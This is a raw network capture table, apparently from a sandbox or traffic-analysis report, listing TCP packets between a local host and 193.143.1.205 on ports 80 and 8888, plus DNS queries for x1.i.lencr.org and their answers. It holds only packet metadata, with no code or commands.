Jan 10, 2025 22:44:01.375761032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375771999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375785112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375787973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375823021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375936985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375947952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375957012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375967979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375977993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.375987053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.375991106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376030922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.376239061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376249075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376260042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376271009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376281977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376288891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.376292944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376303911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376315117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376327038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376332045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.376358986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.376382113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.376591921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376602888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376612902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376622915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376633883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376642942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.376646996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376657963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376683950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.376861095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376872063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376883030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376893997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376904011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376912117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.376914978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376925945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376938105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.376951933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.376976967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.377165079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.377176046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.377185106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.377194881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.377203941 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.377206087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.377218008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.377244949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.420309067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.444437027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.444452047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.444474936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.444497108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.444498062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.444508076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.444521904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.444575071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.444580078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.444590092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.444637060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.449189901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.449198961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.449220896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.449233055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.449243069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.449244976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.449316978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.449323893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.449336052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.449347019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.449389935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.449420929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.454011917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454049110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454066992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454078913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454087973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454097986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454124928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.454161882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.454194069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454202890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454216003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454248905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454286098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.454289913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454299927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454308987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454310894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.454319000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454360008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.454493999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454504013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454524040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454534054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454540968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.454544067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454555035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454565048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454576969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.454608917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.454628944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454641104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.454672098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.458364010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.469563007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.503897905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.503927946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.503941059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.503962994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.503974915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.503985882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.503993034 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504013062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504060984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504123926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504134893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504147053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504158020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504168987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504180908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504196882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504220963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504394054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504415989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504426003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504437923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504448891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504451036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504460096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504476070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504476070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504489899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504499912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504513979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504528999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504616976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504801035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504811049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504822016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504832983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504843950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504853964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504890919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504901886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504914045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504925966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504936934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504940987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.504951000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504962921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.504986048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.505021095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.505292892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505304098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505314112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505325079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505336046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.505337000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505350113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505362034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505364895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.505389929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.505410910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.505444050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505456924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505466938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505480051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505491018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.505491972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505498886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505506992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505517006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505528927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505539894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505551100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.505553007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.505592108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.506052017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506062984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506074905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506092072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.506118059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.506308079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506319046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506344080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506347895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.506356001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506366968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506381989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506386995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.506392002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506403923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506413937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506418943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506424904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506436110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506437063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.506449938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506460905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506474018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.506477118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506488085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506500006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.506500959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506513119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506522894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.506524086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506537914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.506546974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.506570101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.563533068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563549042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563559055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563586950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.563616037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563627005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563638926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563651085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563676119 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.563699961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563709974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.563734055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.563793898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563803911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563812971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563823938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563837051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.563863039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.563924074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563934088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563944101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.563968897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.564369917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564378977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564388037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564408064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.564429998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.564435005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564456940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564467907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564491987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.564553022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564563036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564573050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564593077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.564613104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.564656973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564666986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564677954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564699888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.564759016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564769030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564778090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564790010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564799070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.564837933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.564908028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564918041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.564950943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.565025091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.565035105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.565045118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.565056086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.565078020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.565095901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.565107107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.565119028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.565129995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.565145969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.565176964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.595038891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595052958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595063925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595108986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595120907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.595129013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595140934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595151901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595182896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.595202923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595210075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.595213890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595225096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595247030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.595267057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.595295906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595305920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:01.595340967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.601166010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.606534958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:01.984086990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:02.604728937 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:02.609739065 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:02.609817028 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:02.609965086 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:02.614778042 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:03.411941051 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:44:03.514080048 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:44:03.821559906 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:44:15.499818087 CET	60079	53	192.168.2.8	1.1.1.1
Jan 10, 2025 22:44:29.432147026 CET	55440	53	192.168.2.8	1.1.1.1
Jan 10, 2025 22:44:41.855808020 CET	51033	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:44:15.499818087 CET	192.168.2.8	1.1.1.1	0x155c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:44:29.432147026 CET	192.168.2.8	1.1.1.1	0xb5f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:44:41.855808020 CET	192.168.2.8	1.1.1.1	0x48e7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:44:13.308217049 CET	1.1.1.1	192.168.2.8	0x2a77	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:44:13.308217049 CET	1.1.1.1	192.168.2.8	0x2a77	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:44:13.308217049 CET	1.1.1.1	192.168.2.8	0x2a77	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:44:13.308217049 CET	1.1.1.1	192.168.2.8	0x2a77	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:44:13.308217049 CET	1.1.1.1	192.168.2.8	0x2a77	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:44:13.308217049 CET	1.1.1.1	192.168.2.8	0x2a77	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:44:13.308217049 CET	1.1.1.1	192.168.2.8	0x2a77	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:44:13.308217049 CET	1.1.1.1	192.168.2.8	0x2a77	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
